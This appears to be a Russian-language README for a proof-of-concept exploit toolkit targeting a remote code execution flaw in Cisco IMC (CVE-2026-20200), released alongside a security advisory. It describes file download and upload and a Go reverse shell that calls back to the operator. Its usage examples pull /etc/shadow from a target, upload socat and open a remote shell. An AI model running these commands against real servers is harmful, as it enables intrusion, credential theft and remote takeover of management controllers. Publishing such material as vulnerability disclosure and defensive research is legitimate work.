
PoC-инструментарий для эксплуатации Cisco IMC RCE CVE-2026-20200
Christoph Peil @ NSIDE ATTACK LOGIC 2026
CVE: CVE-2026-20200
CVSS v3.1 (CISCO): 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NSIDE): 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Advisory: NSIDE-SA-2026-003
Blogpost: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/
Этот proof-of-concept предназначен только для демонстрационных целей и не может использоваться для незаконной деятельности. NSIDE ATTACK LOGIC не несёт ответственности за любой ущерб, причинённый в результате использования или неправильного использования этого кода.
Этот эксплойт позволяет скачивать файлы, загружать файлы и запускать reverse shell. Он содержит несколько python-файлов PoC, папку shell и папку download.
В папке download размещаются все файлы, скачанные с сервера, с их именами (например, /etc/passwd > passwd).
Папка shell содержит всё необходимое для reverse shell. Файл lib.so — это небольшая библиотека, собранная для ARM, чтобы просто выполнить бинарник на IMC в /tmp/main. Точная команда, использованная для её сборки, находится в util.py. Также в папке лежит reverse_shell.go.example — небольшой Go Reverse Shell, который необходимо предварительно скомпилировать, чтобы в нём был ваш локальный IP-адрес для reverse shell.
Чтобы reverse shell заработал, сначала нужно собрать его с помощью действия -a build.
sudo apt install golang-go
pip install -r requirements.txt
Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
-h, --help show this help message and exit
--proxy PROXY Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
-t, --host HOST Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-U, --username USERNAME
-P, --password PASSWORD
-a, --action ACTION Action: test, download, upload, build, shell (default: test)
Test will connect to the CIMC and download the file /etc/passwd
-u, --uploadFile UPLOADFILE
File to upload
-p, --remoteFile REMOTEFILE
Remote file path to upload to
-d, --downloadFile DOWNLOADFILE
File to download, is saved into 'Download'
-v, --verbose Displays more information about cimc
Обратите внимание на заглавные U и P для имени пользователя и пароля!
python ./CIMCown.py -U testAdmin -P testPassword -a test -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a download -d '/etc/shadow' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a upload -u './shell/socat' -p '/tmp/socat' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a build
# action 'build' is needed before for local IP in revShell
python ./CIMCown.py -U testAdmin -P testPassword -a shell